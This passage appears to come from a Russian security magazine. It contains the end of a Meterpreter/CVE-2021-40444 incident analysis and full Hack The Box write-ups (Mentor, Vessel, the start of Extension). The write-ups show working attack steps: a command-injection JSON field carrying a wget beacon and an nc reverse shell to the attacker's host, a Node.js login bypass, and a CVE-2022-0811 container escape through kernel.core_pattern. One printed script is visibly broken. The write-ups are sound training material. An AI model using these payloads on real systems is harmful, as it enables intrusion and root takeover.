C:\Users\IEUser\AppData\Local\Temp\msword.inf

Затем запускает этот файл.


Выгрузим этот документ из сетевого трафика.

Содержимое CAB-архива

Сохраним файл как word.cab и проанализируем его. Для начала извлечем


DLL-нагрузку из CAB-файла.
MD5-хеш DLL-файла — 2d7972ec8f063348991490c3d15ce989,
по информации VirusTotal этот файл является нагрузкой Meterpreter и соз-
дается в Metasploit.
Загрузим DLL-файл в IDA Pro, декомпилируем код и проанализируем его.

Псевдокод DLL-файла

В переменной unk_10003000 содержится шелл-код, который записывается


в память процесса с помощью WinAPI-функции WriteProcessMemory. В фун-
кции CreateProcessA создается процесс rundll32.exe (содержимое
переменной CommandLine).
Выгрузим шелл-код, сохраним в файл shell и с помощью утилиты scdbg
посмотрим его содержимое.

scdbg /f shell

Содержимое шелл-кода

Адрес управляющего сервера — 192.168.112.128, порт 443. Загружаемая


библиотека для сетевого взаимодействия — wininet. Найдем участок вза-
имодействия с управляющим сервером в сетевом трафике.

Взаимодействие с управляющим сервером

Мы определили сетевой адрес атакующего, выяснили, что после сканиро-


вания сетевого ресурса 192.168.112.139 злоумышленник отправил вре-
доносное письмо пользователю joshua@cyberdefenders.org с вредонос-
ным вложением web server.docx. Пользователь открыл этот документ, пос-
ле чего на его компьютере установилась обратная оболочка Meterpreter ути-
литы Metasploit.
Теперь проанализируем сетевой трафик и ответим на вопросы задания.
Отфильтруем пакеты по протоколу DNS. В поле фильтра укажем этот про-
токол.

Пакеты DNS

В отфильтрованном трафике можно увидеть DNS-запросы к компьюте-


ру 192.168.112.2 — DNS-серверу организации. В пакете 5648 выполняется
запрос к доменному имени omextemplates.content.office.net.
Найдем пакет 4085, в котором устанавливается TLS-соединение с узлом
v10.vortex-win.data.microsoft.com.

Содержимое пакета 4085

Нам известен сетевой адрес атакуемой машины 192.168.112.139 и MAC-


адрес сетевой карты 00:0c:29:61:f9:84. Перейдем на https://
macaddress.io/, чтобы узнать производителя этого устройства.

Производитель сетевой карты

Адрес компании производителя — 3401 Hillview Avenue Palo Alto CA 94304 US.
Найдем публичный ключ в сеансе TLS, для этого нажмем Ctrl + F
в Wireshark и наберем представленный в задании идентификатор сессии.

Поиск публичного ключа TLS-сессии

Публичный ключ TLS-сессии:

64089e29f386356f1ffbd64d7056ca0f1d489a09cd7ebda630f2b7394e319406

Мы ответили на вопросы задания, а также научились фильтровать и анализи-


ровать сетевой дамп.
Проанализируем сетевой трафик с помощью системы обнаружения втор-
жений Suricata, чтобы детектировать вредоносную активность и обнаружить
компьютерную атаку. Воспользуемся утилитой Brim, в которой установлен
движок Suricata.
В архиве задания присутствуют правила suricata.rules. Загрузим их
в следующий каталог:

%AppData%\Local\Programs\brim\resources\app.asar.unpacked\zdeps\
suricata\var\lib\suricata\rules

И запустим Brim. В поле фильтра введем следующие данные для поиска пра-
вил срабатывания:

event_type=="alert" | alerts := union(alert.category) by src_ip,


dest_ip,alert.signature | sort alerts

Список Suricata alert

Проанализировав данный пакет, можно увидеть, что правило «эксплуатация


уязвимости CVE-2020-11899» определено ошибочно.

ÂÛÂÎÄÛ
Мы провели расследование инцидента и восстановили картину атаки. Зло-
умышленник с сетевого адреса 192.168.112.128 в 12:31 1 октября 2021 года
просканировал узел 192.168.112.139, на котором открыты семь портов.
Затем он отправил сообщение пользователю joshua@cyberdefenders.org
с вложением web server.docx, в котором содержится эксплоит CVE-2021-
40444. Пользователь открыл этот документ, и на его компьютере установи-
лась Meterpreter-нагрузка с управляющим сервером 192.168.112.128,
порт 443.
ВЗЛОМ

HTB
MENTOR

ИЗВЛЕКАЕМ ИНФОРМАЦИЮ
ИЗ SNMP И ПЕНТЕСТИМ
API ВЕБ-СЕРВИСА

В этом райтапе я покажу, как работать


со службой SNMP, чтобы получить
информацию, которая поможет в прод-
вижении атаки. Также мы взломаем сайт
и получим RCE благодаря уязвимости в API. RalfHacker
hackerralf8@gmail.com

Наша цель — захват учебной машины Mentor с площадки Hack The Box. Уро-
вень сложности — средний.

WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.193 mentor.htb

И запускаем сканирование портов.

Справка: сканирование портов


Сканирование портов — стандартный первый шаг при любой атаке. Он поз-
воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Скрипт нашел два открытых порта: 22 — служба OpenSSH 8.9p1 и 80 —


веб-сервер Apache 2.4.52. На порте 80 также отмечаем редирект на сайт
http://mentorquotes.htb/. Так как мы раскрыли новый домен, добавляем
и его в файл /etc/hosts.

10.10.11.193 mentor.htb mentorquotes.htb

Также всегда стоит проверять четыре порта UDP, где может работать служба
SNMP.

sudo nmap -p161,162,10161,10162 -sU 10.10.11.193

Результат сканирования портов UDP

И мы видим, что SNMP работает на порте 161. SNMP — это протокол прик-
ладного уровня, он делает возможным обмен данными между сетевыми
устройствами. Протокол позволяет системному администратору проводить
мониторинг, контролировать производительность сети и изменять кон-
фигурацию подключенных устройств.
В SNMP используется модель безопасности сommunity-based (на основе
строки сообщества). Фактически это идентификатор пользователя
или пароль, который отправляется вместе с запросом. Если строка сообщес-
тва неверна, агент игнорирует запрос. Давай попробуем пробрутить эти
community-строки сканером onesixtyone.

onesixtyone -c snmp_default_pass.txt 10.10.11.193

Результат перебора community-строк

Нашли только дефолтную строку public, ничего полезного она нам не дала.

ÒÎ×ÊÀ ÂÕÎÄÀ
Ñêàíèðîâàíèå SNMP
У меня бывали случаи, когда популярные средства сканирования комьюни-
ти-строк ничего не находили, а строки все же существовали. По этой причине
следующим скриптом пробуем запросить базовую информацию с помощью
snmpbulkwalk по каждой строке из словаря. В итоге раскрываем еще одну
комьюнити-строку internal.

while read line; do


echo $line ; snmpbulkwalk -c $line -v2c 10.10.11.193 . 2>/dev/
null | head -n 1
done < /usr/share/metasploit-framework/data/wordlists/snmp_default_
pass.txt

Результат выполнения скрипта

Говоря о SNMP, стоит упомянуть MIB. MIB — это иерархическая база данных
со сведениями об устройстве. У каждого типа устройства своя MIB-таблица:
у принтера в ней содержится информация о состоянии картриджей, а у ком-
мутатора — данные о трафике. Благодаря MIB сетевой менеджер знает,
какую информацию он может запросить у агента устройства.
Каждый объект в MIB имеет свой уникальный ID — OID, который представ-
лен в числовом формате и имеет иерархическую структуру. OID — это чис-
ловой эквивалент пути к файлу. Он присваивает значения каждой таблице
в MIB, каждому столбцу в таблице и каждому значению в столбце.
Так, по OID 1.3.6.1.2.1.25.4.2.1.2 мы можем запросить процессы
на сетевом устройстве.

snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.2

Процессы на удаленном хосте

Видим, что запущены скрипты login.sh и login.py, а также процесс


docker-proxy. У каждого процесса есть так называемая cmdline — полная
команда со всеми параметрами, которая передается исполняемой коман-
дной оболочке. Запросить их можно по OID 1.3.6.1.2.1.25.4.2.1.5.

snmpbulkwalk -c internal -v2c 10.10.11.193 1.3.6.1.2.1.25.4.2.1.5

Полные команды процессов, запущенных на хосте

В результате получаем какую-то интересную строку, передаваемую процессу


login.py. Возможно, это пароль. Переходим к серверу.

Ñêàíèðîâàíèå âåá-ñåðâåðà
На сервере расположен сайт-визитка, ничего интересного найти не получи-
лось.

Главная страница сайта

Так как мы знаем реальный домен, попробуем найти другие сайты, для чего
будем сканировать поддомены. Для этого я использую легковесную утилиту
ffuf.

Справка: сканирование веба c ffuf


Одно из первых действий при тестировании безопасности веб-приложе-
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем сле-
дующие параметры:
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -u — URL;
• -H — заголовок HTTP.

Место перебора помечается словом FUZZ.

Команда получается следующая:

ffuf -u http://mentorquotes.htb -w subdomains-top1million-110000.txt


-t 256 -H 'Host: FUZZ.mentorquotes.htb'

Результат сканирования подкаталогов с помощью ffuf

В результат сканирования попадают все варианты из списка, поэтому нужно


использовать фильтры (я фильтровал по коду ответа):
• -fc — исключить из вывода код ответа;
• -mc — выводить ответы, кроме тех, что в параметре fc.

ffuf -u http://mentorquotes.htb -w subdomains-top1million-110000.txt


-t 256 -H 'Host: FUZZ.mentorquotes.htb' -fc 302 -mc all

Результат сканирования подкаталогов с помощью ffuf

И находим новый сайт на поддомене api. Добавляем его в файл /etc/hosts.

10.10.11.193 mentor.htb mentorquotes.htb api.mentorquotes.htb

Главная страница api.mentorquotes.htb

Теперь просканируем конечные точки API. Используем все тот же ffuf.

ffuf -u http://api.mentorquotes.htb/FUZZ -w directory_2.3_medium_


lowercase.txt -t 256

Результат сканирования каталогов с помощью ffuf

Из полученного списка точек доступны только /docs и /redoc.

Страница /docs

Страница /redoc

На странице видим почтовый адрес пользователя james.

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

HTB MENTOR
ИЗВЛЕКАЕМ ИНФОРМАЦИЮ
ИЗ SNMP И ПЕНТЕСТИМ
API ВЕБ-СЕРВИСА

ÒÎ×ÊÀ ÎÏÎÐÛ
Попробуем получить токен доступа, авторизовавшись с найденными поч-
товым адресом и паролем.

{
"email": "james@mentorquotes.htb",
"username": "james",
"password": "kj23sadkj123as0-d213"
}

Авторизация в API (запрос)

Ответ сервера

Получив токен, переходим к Burp Repeater и выполняем запрос к странице


администратора.

Запрос на страницу /admin

Раскрываем еще две конечные точки: /check и /backup. Но обращение


к первой не дает результатов, а для второй нужно изменить метод запроса
с GET на POST.

Запрос к API /admin/check

Запрос к API /admin/backup

Чтобы легко поменять метод запроса, в Burp достаточно вызвать контекстное


меню и выбрать пункт Change Request Method.

POST-запрос к /admin/backup

В ответе получаем новую наводку: необходимо указать параметры. Один


параметр body берем из текста, этого оказывается недостаточно. Так
как обращаемся к API backup, укажем параметр path.

{
"body":"test",
"path":"/etc/hosts"
}

Запрос к /admin/backup

Нам отвечают только, успешно или нет завершилась операция. Высока веро-
ятность, что путь к файлу передается в команду терминала, поэтому необ-
ходимо проверить наличие инъекции команды ОС. В качестве маяка будем
использовать запрос на собственный сервер, для этого и открываем лис-
тенер nc -nlpv 80.
Я перепробовал несколько нагрузок, и в результате удалось найти верную.
Заодно выяснилось, что на сервере отсутствует программа curl. Так что
если ты используешь нагрузки только с curl, то стоит сделать подобные
для wget и Python.

{
"body":"test",
"path":"/etc/hosts;wget http://10.10.14.11/test_rce"
}

Запрос на сервер

Логи листенера

Так как присутствует RCE, кидаем реверс-шелл:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 10.10.14.11 4321 >


/tmp/f;.

{
"body":"test",
"path":"/etc/hosts;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i
2>&1|nc 10.10.14.11 4321 >/tmp/f;"
}

Запрос на сервер

Получение сессии

ÏÐÎÄÂÈÆÅÍÈÅ
Попадаем в контейнер Docker, где и работает уязвимое приложение. При-
ложение использует базу данных, и мы можем получить учетные данные
для подключения к ней, а в ней найдем логины и хеши паролей пользовате-
лей. Пароль от базы находим в файле db.py.

Содержимое файла db.py

Теперь мы можем авторизоваться в СУБД, но, чтобы получить доступ к порту


PostgreSQL, нужно построить туннель. Для этого будем использовать chisel.
На локальном хосте запустим сервер, который будет ждать подключения
(параметр --reverse) на порт 8000 (параметр -p).

chisel.bin server -p 8000 --reverse

Логи chisel server

Теперь на удаленном хосте запустим клиентскую часть. Указываем адрес сер-


вера и порт для подключения, а затем цепочку проксирования:
порт 5432 локального хоста на порт 5432 хоста 172.22.0.1.

chisel.bin client 10.10.14.11:8000 R:5432:172.22.0.1:5432

Логи chisel client

В логах сервера должны увидеть сообщение о создании сессии.

Созданная сессия chisel

А теперь подключаемся к СУБД PostgreSQL и получаем существующие в базе


таблицы.

psql -h 127.0.0.1 -U postgres -d mentorquotes_db

/d

Таблицы

Таблица users, вероятно, содержит учетные данные, поэтому получим из нее


все записи.

select * from users;

Данные из таблицы users

Получаем хеши двух паролей, один из которых мы уже знаем, поэтому второй
проверяем по онлайновой базе.

Результат взлома пароля

С полученными именем пользователя и паролем авторизуемся по SSH


и забираем первый флаг.

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


Ïîëüçîâàòåëü james
Теперь нам необходимо собрать информацию. Я для этого использую скрип-
ты PEASS.

Справка: скрипты PEASS


Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате.

Загрузим на хост скрипт для Linux, дадим право на выполнение и запустим


сканирование. В выводе будет много информации, поэтому отберем только
значимую.
Среди активных пользователей с командной оболочкой отмечаем поль-
зователя james.

Пользователи с консолью

Находим доступный для чтения файл конфигурации SNMP /etc/snmp/snmpd.


conf.

Анализ SNMP-файлов

Конфиг может содержать пароли и секретные строки, этот не оказался


исключением.

Содержимое файла /etc/snmp/snmpd.conf

Пробуем использовать найденный пароль для пользователя james и ста-


новимся на шаг ближе к захвату машины.

Сессия пользователя james

Ïîëüçîâàòåëü root
Разведку на хосте уже проводили, мало что может измениться со сменой кон-
текста. Но одно из мест, которые все же стоит проверить, — настройки
sudoers.

sudo -l

Настройки sudo

Справка: sudoers
Файл /etc/sudoers в Linux содержит списки команд, которые разные группы
пользователей могут выполнять от имени администратора системы. Можно
просмотреть его как напрямую, так и при помощи команды sudo -l.

Таким образом мы можем без ввода пароля получить привилегированную


оболочку /bin/sh.

sudo /bin/sh

Флаг рута

Машина захвачена!
ВЗЛОМ

HTB
VESSEL

ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ
В КЛАСТЕРЕ KUBERNETES

В этом райтапе я покажу, как повышать при-


вилегии через уязвимость CVE-2022-0811,
которая позволяет с максимальными при-
вилегиями выходить из контейнера в клас-
тере Kubernetes. По дороге посмотрим, RalfHacker
hackerralf8@gmail.com
как собирать данные из репозитория Git,
проэксплуатируем SQL-инъекцию и попен-
тестим платформу Open Web Analytics, что-
бы получить доступ к хосту. Еще разберем-
ся с генератором паролей и расшифруем
PDF-документ.

Наша цель — захватить учебную машину Vessel с площадки Hack The Box. Ее
уровень — «сложный».

WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.178 vessel.htb

И запускаем сканирование портов.

Справка: сканирование портов


Сканирование портов — стандартный первый шаг при любой атаке. Он поз-
воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Результат работы скрипта

Нашли три открытых порта:


• 22 — служба OpenSSH 8.2p1;
• 80 — веб-сервер Apache 2.4.41;
• 8888 — веб-сервер Python 3.8.10 версии 0.6.

С SSH ничего сделать не получится, веб-сервер Python тоже вещь узкоспе-


циализированная, поэтому идем к основному сайту на порте 80.

Главная страница сайта

Нас встречает сайт-визитка без каких-либо дополнительных возможностей,


поэтому приступим к сканированию.

Справка: сканирование веба c ffuf


Одно из первых действий при тестировании безопасности веб-приложе-
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем сле-
дующие параметры:
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -u — URL.

Место перебора помечается словом FUZZ.

ffuf -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.


txt
-t 256

Результат сканирования каталогов с помощью ffuf

В вывод посыпались все варианты из словаря. Давай добавим фильтр, чтобы


этого избежать. К примеру, видим, что размеры всех ответов равны 26,
поэтому просто исключим такие варианты с помощью параметра -fs.

ffuf -u 'http://vessel.htb/FUZZ' -w directory_2.3_medium_lowercase.


txt
-t 256 -fs 26

В этот раз получаем реальные каталоги, причем очень даже интересные.

ÒÎ×ÊÀ ÂÕÎÄÀ
Начнем изучение с каталога dev, который выполняет редирект (код отве-
та 301). Смотрим на него через браузер и получаем страницу 404. Так
как всю работу я веду через Burp Proxy, могу в любой момент посмотреть
историю запросов.

Burp History

Видим, что Apache выполняет стандартный редирект с /dev в /dev/ и только


тогда переходит к странице 404. То есть каталог /dev/ все же существует,
поэтому выполним сканирование в нем.

ffuf -u 'http://vessel.htb/dev/FUZZ' -w files_interesting.txt -t 256


-fs 26

Результат сканирования файлов с помощью ffuf

И находим доступный Git-репозиторий. Скачивать содержимое репозиториев


можно с помощью пакета скриптов dvcs-ripper.

./rip-git.pl -u http://vessel.htb/dev/.git/

А теперь в текущем каталоге просто открываем gitk — это GUI для работы
с Git-репозиториями. И сразу находим учетные данные для подключения
к базе данных.

Содержимое файла db.js

Гуляя по истории коммитов, обнаруживаем место, где была запатчена SQL-


инъекция. Полезно просматривать подобные места, так как патч может быть
не совсем корректный.

Изменение в файле index.js

Открываем этот файл и смотрим, как обрабатывается пользовательский


ввод.

Содержимое файла index.js

Node.js позволяет работать со строками как с объектами, то есть если вместо


ввода простой строки пароля мы введем превращенный в строку объект
password[password]=1, то он будет интерпретирован Node.js и мы получим
результат проверки true. Попробуем авторизоваться от имени администра-
тора сайта. В Burp Proxy перехватываем запрос на авторизацию и меняем
передаваемые данные.

Запрос на авторизацию

Панель администратора сайта

После пропуска запроса получаем административную панель как авторизо-


ванный пользователь.

ÒÎ×ÊÀ ÎÏÎÐÛ
Изучаем содержимое панели и находим графу аналитики, которая ведет нас
на другой поддомен.

История запросов в Burp History

Найденное доменное имя добавляем в файл /etc/hosts и повторяем зап-


рос. Нас встречает страница авторизации системы Open Web Analytics.

10.10.11.178 vessel.htb openwebanalytics.vessel.htb

Форма авторизации OWA

Найденные учетные данные сюда не подошли, поэтому поищем готовые экс-


плоиты. Первым делом стоит проверять сайты вроде HackerOne и exploit-db.
Я без труда отыскал эксплоит как раз на GitHub.

Поиск эксплоитов в Google

Open Web Analytics до версии 1.7.4 позволяет неавторизованному атакующе-


му получать конфиденциальную информацию о пользователе и добиться при-
вилегий администратора. Впрочем, эта реализация эксплоита подробно
логирует все свои действия. Откроем листенер:

pwncat-cs -lp 4321

И запустим эксплоит.

python3 exploit.py http://openwebanalytics.vessel.htb/ 10.10.14.4


4321

Результат выполнения эксплоита

И получаем новую сессию в pwncat-cs.

Новая сессия в листенере

Продолжение статьи →
ВЗЛОМ ← НАЧАЛО СТАТЬИ

HTB VESSEL
ЭКСПЛУАТИРУЕМ УЯЗВИМОСТЬ
В КЛАСТЕРЕ KUBERNETES

ÏÐÎÄÂÈÆÅÍÈÅ
Теперь, когда мы получили доступ к хосту, нам необходимо собрать
информацию. Я, как всегда, использую для этого скрипты PEASS.

Справка: скрипты PEASS для Linux


Что делать после того, как мы получили доступ в систему от имени поль-
зователя? Вариантов дальнейшей эксплуатации и повышения привилегий
может быть очень много, как в Linux, так и в Windows. Чтобы собрать
информацию и наметить цели, можно использовать Privilege Escalation
Awesome Scripts SUITE (PEASS) — набор скриптов, которые проверяют сис-
тему на автомате.

Загрузим на хост скрипт для Linux и выберем наиболее интересную информа-


цию.
Во-первых, мы можем просматривать файлы в домашнем каталоге поль-
зователя steven.

Файлы в каталогах других пользователей

Во-вторых, пользователю ethan доступно выполнение команды pinns


от имени рута, так как у исполняемого файла выставлен s-бит.

Файлы с активным SUID

Справка: бит SUID


Когда у файла установлен атрибут setuid (S-атрибут), обычный пользователь,
запускающий этот файл, получает повышение прав до пользователя — вла-
дельца файла в рамках запущенного процесса. После получения повышенных
прав приложение может выполнять задачи, которые недоступны обычному
пользователю. Из-за возможности состояния гонки многие операционные
системы игнорируют S-атрибут, установленный shell-скриптам.

В-третьих, на хосте доступна программа runc.

Проверка файла runc

Давай скачаем файлы passwordGenerator, screenshot.png и notes.pdf


из домашнего каталога пользователя. Для этого в pwncat выйдем в основное
меню сочетанием клавиш Ctrl-D, а затем используем команду download
для скачивания фалов на локальный хост. Чтобы обратно получить командную
оболочку удаленного хоста, используем команду back.
PDF оказался защищен паролем, а скриншот, видимо, показывает окно
генератора паролей, который у нас тоже есть.

Скачанный скриншот

Отметим для себя параметры, использованные при составлении пароля: дли-


на — 32 символа, а алфавит включает все символы. Я закинул генератор
в дизассемблер и среди строк нашел много типичных для Python паттернов.

Строки из файла passwordGenerator

Таким образом, это скрипт на Python, скомпилированный в исполняемый


файл .exe. Есть возможность достать из .exe код на Python в чистом виде,
для чего можно использовать pyinstxtractor.

Декомпилирование py2exe-файла

Мы получим файл .pyc, который нужно декомпилировать в .py с помощью


uncompile. Затем в извлеченном скрипте находим функцию для генерирова-
ния пароля — genPassword.

Исходный код функции genPassword

Исходный код вспомогательных функций

Вот только генератор написан с ошибкой, так как функция QTime::msec(),


которая возвращает сид для дальнейшего псевдорандома, выдает мил-
лисекундную часть времени — число от 0 до 999. А это значит, что возможно
сгенерировать всего 1000 разных паролей. Я набросал скрипт, который сос-
тавит список всех паролей:

from PySide2.QtCore import *

passwords = []
length = 32
charset =
'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%
^&
*()_-+={}[]|
:;<>,.?'
for rsec in (0,1000):
qsrand(q)
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
passwords.append(password)

with open('passwords.txt', 'wt') as f:


for pwd in passwords:
f.write(pwd + '\n')

Есть одно но: сгенерировать верный словарь получится только с исполь-


зованием извлеченных из исполняемого файла библиотек Qt. Поэтому ско-
пируем всю папку с извлеченными файлами на виртуалку с Windows и запус-
тим скрипт оттуда. Будут подключены нужные библиотеки Qt. Сделав словарь,
пробрутим пароль PDF-документа с помощью pdfcrack.

pdfcrack -f notes.pdf -w ./password.txt

Результат перебора паролей

В самом документе находим пароль, с которым можно авторизоваться


по SSH от имени пользователя ethan.

Содержимое PDF-документа

Флаг пользователя

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ


А теперь обратимся к runC — инструменту для запуска контейнеров, соз-
данного в рамках проекта Open Containers. Когда я увидел права на исполня-
емый файл pinns и присутствие runc, сразу вспомнил о недавней уязвимости
CVE-2022-0811 в Kubernetes, которая поможет поднять привилегии
на основном хосте до root. Если ты о ней не слышал, то можешь почитать,
к примеру, в статье CrowdStrike.

Поиск техники в Google

Работает уязвимость следующим образом. Kubernetes задействует среду


выполнения контейнера, такую как CRI-O или Docker, для безопасного сов-
местного использования ядра и ресурсов каждой ноды с разными работа-
ющими контейнерными приложениями. Ядро Linux принимает параметры
времени выполнения, которые управляют его поведением. Kubernetes
и управляемые им среды выполнения контейнеров позволяют модулям
обновлять эти «безопасные» настройки ядра, блокируя доступ к другим.
Специалисты из CrowdStrike нашли уязвимость, которая позволяет обхо-
дить меры безопасности и устанавливать произвольные параметры ядра.
Таким образом, любой, у кого есть права на развертывание модуля в клас-
тере Kubernetes, использующий CRI-O, может манипулировать параметром
kernel.core_pattern для выхода из контейнера и выполнения произволь-
ного кода от имени пользователя root на любом узле в кластере.
Runc позволяет запускать контейнеры без привилегий root. Но процессы,
запускающие такой контейнер, все равно будут принадлежать пользователю
root! Получается, что если какой-то процесс сможет выйти из контейнера, то
он будет работать на основном хосте с правами root.
Перейдем к эксплуатации и первым делом создадим конфигурацию
для запуска контейнера.

runc spec --rootless

А теперь откроем созданный файл config.json и в раздел mounts добавим


конфигурацию:

{
"destination": "/",
"type": "bind",
"source": "/",
"options": [
"rbind",
"rw",
"rprivate"
]
}

Изменение в файле cong.json

Теперь в текущем каталоге создадим каталог rootfs и запустим контейнер.

mkdir rootfs
runc --root /tmp/ralf run alpine

Получение сессии в контейнере

Мы получили сессию в контейнере, но нам нужна вторая сессия на основном


хосте, поэтому во втором терминале авторизуемся на хосте через SSH.
На основном хосте сделаем скрипт на Bash, который будет назначать S-бит
файлу командной оболочки /bin/bash.

echo -e '#!/bin/sh\nchmod +s /usr/bin/bash' > /tmp/ralf/payload.sh


chmod +x /tmp/ralf/payload.sh

В первом сеансе (том, что в контейнере) проверяем наличие созданного


скрипта и прав на выполнение.

Проверка созданного на основном хосте скрипта в контейнере

Скрипт создан, теперь установим параметр ядра kernel.core_pattern,


который указывает, что должно сделать ядро при его дампе. Так мы скажем
ядру выполнить нашу нагрузку, которая будет запущена с правами root. Сде-
лать это можно следующей командой, которую я нашел в статье в блоге
Tencent.

pinns -d /var/run/ -f 37f594b6-4ffb-43a2-a0d5-e7b23d642115 -s


'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/ralf/payload.sh
#' --ipc --net --uts --cgroup

И сразу проверяем, установился ли параметр kernel.core_pattern.

cat /proc/sys/kernel/core_pattern

Проверка параметра kernel.core_pattern

Теперь активируем и выполним дамп ядра.

ulimit -c unlimited
tail -f /dev/null &
ps

bash -i
kill -SIGSEGV 26
ps

Дамп ядра

Наша команда была выполнена ядром за пределами пространства имен кон-


тейнера с привилегиями root, о чем свидетельствует S-бит у файла коман-
дной оболочки.

Права файла /bin/bash

Запускаем новый Bash и получаем полные привилегии на хосте.

Флаг рута

Машина захвачена!
ВЗЛОМ

HTB
EXTENSION

ПЕНТЕСТИМ ПЛАГИН ДЛЯ GITEA


И СБЕГАЕМ ИЗ DOCKER

В этом райтапе я покажу, как через уяз-


вимость в расширении браузера получить
доступ к файлам другого пользователя.
Найденные критически важные данные
помогут нам закрепиться на хосте, а зах- RalfHacker
hackerralf8@gmail.com
ватим контроль над ним мы при помощи
уязвимости в веб-сервисе. А потом нам
предстоит побег из Docker!

Захватывать будем учебную машину Extension с площадки Hack The Box. Уро-
вень — «сложный».

WARNING
Подключаться к машинам с HTB рекомендуется
только через VPN. Не делай этого с компьютеров,
где есть важные для тебя данные, так как ты ока-
жешься в общей сети с другими участниками.

ÐÀÇÂÅÄÊÀ
Ñêàíèðîâàíèå ïîðòîâ
Добавляем IP-адрес машины в /etc/hosts:

10.10.11.171 extension.htb

И запускаем сканирование портов.

Справка: сканирование портов


Сканирование портов — стандартный первый шаг при любой атаке. Он поз-
воляет атакующему узнать, какие службы на хосте принимают соединение.
На основе этой информации выбирается следующий шаг к получению точки
входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить
результаты его работы ты можешь при помощи следующего скрипта:

#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 |
tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1

Он действует в два этапа. На первом производится обычное быстрое ска-


нирование, на втором — более тщательное сканирование, с использованием
имеющихся скриптов (опция -A).

Результат работы скрипта

Мы нашли два открытых порта: 22 — служба OpenSSH 7.6p1 и 80 — веб-сер-


вер Nginx 1.14.0. Начинаем, конечно же, с сайта.

Главная страница сайта http://extension.htb

На сайте видим указанный домен, который добавляем в файл /etc/hosts.

10.10.11.171 extension.htb snippet.htb

Так как он реальный, мы можем просканировать поддомены. Я использую


сканер ffuf.

Справка: сканирование веба c ffuf


Одно из первых действий при тестировании безопасности веб-приложе-
ния — это сканирование методом перебора каталогов, чтобы найти скрытую
информацию и недоступные обычным посетителям функции. Для этого можно
использовать программы вроде dirsearch и DIRB.
Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем сле-
дующие параметры:
• -w — словарь (я использую словари из набора SecLists);
• -t — количество потоков;
• -u — URL;
• -r — выполнять редиректы;
• -fs — фильтровать страницы по размеру;
• -fc — исключить из результата ответы с кодом 403.

Место перебора помечается словом FUZZ.

Команда получается следующая:

ffuf -u 'http://snippet.htb/' -r -w subdomains-top1million-110000.


txt -t 256 -H 'Host: FUZZ.snippet.htb' --fl 30

Результат сканирования поддоменов с помощью ffuf

Так находим еще два поддомена, которые тоже добавляем в файл /etc/
hosts. Там найдем сервисы Gitea и RoundCube.

10.10.11.171 extension.htb snippet.htb dev.snippet.htb mail.snippet.


htb

Главная страница http://dev.snippet.htb

Главная страница http://mail.snippet.htb

В Gitea можем без авторизации посмотреть существующих пользователей.

Пользователи Gitea

Сканирование каталогов на пользовательском сайте тоже ничего не дало.

ffuf -u 'http://snippet.htb/FUZZ' -r -w directory_2.3_medium_


lowercase.txt -t 256

Результат сканирования каталогов с помощью ffuf

